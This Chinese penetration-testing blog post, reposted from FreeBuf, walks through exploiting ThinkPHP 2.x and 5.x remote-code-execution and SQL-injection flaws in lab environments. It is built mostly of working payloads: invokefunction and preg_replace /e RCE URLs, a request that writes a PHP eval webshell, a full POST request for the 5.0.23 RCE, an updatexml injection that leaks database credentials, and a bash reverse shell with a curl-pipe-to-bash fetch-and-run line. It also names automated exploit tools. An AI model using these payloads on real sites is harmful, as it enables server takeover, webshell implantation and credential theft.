thinkphp全利用工具下载地址:关注 挽风安全 公众号,并发送 thinkphp 获取下载地址
转载至 渗透测试 | ThinkPHP渗透 - FreeBuf网络安全行业门户
前言
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为 ThinkPHP
它遵循 Apache2开源协议发布,从 Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了 Struts的思想和 TagLib(标签库)、RoR的ORM映射和 ActiveRecord模式。
ThinkPHP可在 Windows和 Linux等操作系统运行,支持 MySql,Sqlite和 PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。
同时ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架
本地安装
官网:http://www.thinkphp.cn/down.html
经典的版本就是这四大类
安装vc9_x86(必装)
安装phpstudy-2016
把Thinkphp的包搞到WWW目录下
这里要注意一下
默认的Thinkphp框架下是有robots.txt
的
存在信息泄露的
写入的shell或者一句话 也是在这个目录下
C:\phpStudy\WWW\a001\public
然后存放日志的目录 是这个
C:\phpStudy\WWW\a001\thinkphp\library\think\log
要对外访问的嘛 所以要配置域名
这里要注意 目录要选到public目录下 这样才能识别到这个目录下的router.php
这里也可以不用IP
如果你没有用IP的话 就要去改一下hosts文件
然后新增 保存一下
然后远程访问一下
本地漏洞复现
Poc1-phpinfo
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
Poc2-写入一句话
<?php eval($_POST['a']);?>
进行URL编码
最后的payload
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e
执行一下
这样子就是执行成功的
去底层看一下 这个shell.php
是被写到哪个目录下了
是成功写入的
蚁剑连接一下
可以看到是成功的
Vulhub-Thinkphp复现
Thinkphp 2.x 任意代码执行漏洞
漏洞原理
ThinkPHP2.x版本中,使用preg_replace
的/e
模式匹配路由
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号
中执行,造成任意代码执行漏洞
ThinkPHP3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞
影响版本
ThinkPHP 2.x
漏洞原理详解
由于是preg_replace
这个函数引起的漏洞,所以先来看看preg_replace
这个函数
这个函数是个替换函数,而且支持正则,使用方式如下
preg_replace('正则规则','替换字符','目标字符')
这个函数的3个参数,结合起来的意思是:
如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e
这个修饰符,则存在代码执行漏洞
e -->配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行/e-->可执行模式,此为PHP专有参数,例如 preg_replace函数。
本地测试直接使用下面这行代码测试即可
沙箱地址:http://sandbox.onlinephpfunctions.com/
漏洞复现
cd vulhub-master/thinkphp/2-rcesudo docker-compose up -d
访问一下
在线沙箱 进行尝试
沙箱地址: http://sandbox.onlinephpfunctions.com/
<?php@preg_replace('/test/e','print_r("a001");','just test');
7.0以下的版本 存在/e 就可以任意代码执行
代码审计-docker底层分析
找寻一下这个函数
find . -name '*.php' | xargs grep -n 'preg_replace'
复制出来 搞到本地
存在/e
修饰符的脚本
./ThinkPHP/Mode/Lite/Dispatcher.class.php:115: $res = preg_replace('@(\w+)'.C('URL_PATHINFO_DEPR').'([^,\/]+)@e', '$pathInfo[\'\\1\']="\\2";', $_SERVER['PATH_INFO']);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:57: $rule = preg_replace('/{\$(_\w+)\.(\w+)\|(\w+)}/e',"\\3(\$\\1['\\2'])",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:58: $rule = preg_replace('/{\$(_\w+)\.(\w+)}/e',"\$\\1['\\2']",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:60: $rule = preg_replace('/{(\w+)\|(\w+)}/e',"\\2(\$_GET['\\1'])",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:61: $rule = preg_replace('/{(\w+)}/e',"\$_GET['\\1']",$rule);./ThinkPHP/Lib/Think/Util/HtmlCache.class.php:68: $rule = preg_replace('/{|(\w+)}/e',"\\1()",$rule);./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:224: $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:239: $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', str_replace($matches[0],'',$regx));./ThinkPHP/Common/extend.php:215: $str = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);./ThinkPHP/Common/functions.php:145: return ucfirst(preg_replace("/_([a-zA-Z])/e", "strtoupper('\\1')", $name));
漏洞的关键就是这里了 代码位置就是在这里了
漏洞验证
/index.php?s=/index/index/name/${@phpinfo()}
/index.php?s=/index/index/name/$%7B@phpinfo()%7D
Poc
/index.php?s=a/b/c/${@print(eval($_POST[1]))}
进行抓包
改成POST的包
1=system('id');
执行成功
反弹shell
bash -i >& /dev/tcp/192.168.175.130/8888 0>&1
nc开启监听
nc -lvvp 8888
python开启http服务
python -m SimpleHTTPServer 9999
进行执行
1=system("curl 192.168.175.130:9999/shell.sh | bash");
nc拿到shell
蚁剑连接的话
http://192.168.175.209:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}
Thinkphp5-5.0.22/5.1.29远程代码执行漏洞
漏洞原理
ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5中,由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),则该框架可以执行任何方法,从而导致RCE漏洞。
影响版本:
5.0.22/5.1.29
漏洞复现
cd vulhub-master/thinkphp/5-rcesudo docker-compose up -d
成功访问
漏洞验证
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo
任意代码执行
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
写入webshell
<?php eval($_POST['a']);?>URL编码%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e
最后的payload-->shell.php
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%61%27%5d%29%3b%3f%3e
写入成功
去docker底层看一下
蚁剑连接
Thinkphp5.0.23远程代码执行漏洞
漏洞原理
ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5.0(<5.0.24)中,框架在获取请求方法时会错误地对其进行处理,就是在获取 method的方法中没有正确处理方法名,这使攻击者可以调用 Request类的任何方法,攻击者可以调用 Request类任意方法并构造利用链,从而导致远程代码执行漏洞
影响版本
Thinkphp5.0.0~5.0.23
影响版本
Thinkphp 5.0.0~ 5.0.23
漏洞复现
cd vulhub-master/thinkphp/5.0.23-rcesudo docker-compose up -d
访问一下靶机
漏洞验证
进行抓包
进行转换
这里给出完整的数据包
POST /index.php?s=captcha HTTP/1.1Host: 192.168.175.209:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheContent-Type: application/x-www-form-urlencodedContent-Length: 72_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
反弹shell
把反弹shell 写到shell.sh中
python开启http服务
python -m SimpleHTTPServer 9999
nc开启监听
nc -vlp 8888
进行执行
curl 192.168.175.130:9999/shell.sh | bash
成功反弹shell
Thinkphp敏感信息泄露
漏洞原理
传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而 thinkphp5默认开启debug模式,在漏洞环境下构造错误旳SQL语法会泄漏数据库账户和密码。
影响版本
ThinkPhP <5.1.23
源码分析
<?phpnamespace app\index\controller;use app\index\model\User;class Index{ public function index() { $ids = input('ids/a'); $t = new User(); $result = $t->where('id', 'in', $ids)->select();}}
由上述代码可知,这里用助手函数input定义了参数ids的类型是数组
protected function parseMhere ($where, $options){ $whereStr = $this -> buildWhere($where, $options); if (! empty($options['soft_delete '])) { list ($field, $condition) = $options['soft_delete']; $binds = $this -> query ->getF ieldsBind($optlons); $whereStr = $whereStr ? '(' .$whereStr . ') AND ' : ' '; $whereStr = $whereStr. $this -> parseWhereIten($field, $condition, ' ', $options, $binds); } return empty($wherestr) ? ' ' : ' WHERE ' . $uhereStr;}
接着去找where('id','in',$ids)
定义的内容,找到了最核心的方法 buildWhere和 parseWhereltem
接着找到定义'in'
的位置
<?php...$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {//处理带非单词字符的字段名 $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) { // IN ັᧃ if ($value instanceof \Closure) { $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value); } else { $value = is_array($value) ? $value : explode(',', $value); if (array_key_exists($field, $binds)) { $bind = []; $array = []; foreach ($value as $k => $v) { if ($this->query->isBind($bindName . '_in_' . $k)) { $bindKey = $bindName . '_in_' . uniqid() . '_' . $k; } else { $bindKey = $bindName . '_in_' . $k; } $bind[$bindKey] = [$v, $bindType]; $array[] = ':' . $bindKey; } $this->query->bind($bind); $zone = implode(',', $array); } else { $zone = implode(',', $this->parseValue($value, $field)); } $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')'; }
这段代码当引入了in或者 not in的时候遍历value的key和 value。
而key在绑定编译指令的时候又没有安全处理,所以导致了在预编译的时候SQL异常。
漏洞复现
这边在kali上用P牛的靶场
乌班图那边有点问题
kali安装docker
sudo apt install docker-compose
sudo systemctl start docker #启动dockercd /vulhub-master/thinkphp/in-sqlinjectionsudo docker-compose up -d
进行访问
漏洞验证
/index.php?ids[]=1&ids[]=2
Poc
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
枚举到数据库的账号和密码
Thinkphp自动化武器
Thinkphp综合利用工具
ThinkPHPBatchPoc群扫
执行看一下
可以去底层看一下
我们可以手动添加Poc
它可以自动补充http头
执行
-u 单个URL-f 执行文件
TPscan
AttackWebFrameworkTools
需要先安装4.5的.NET Framework
然后要新建两个文本文档
Thinkphp攻击武器
双击打开就可以了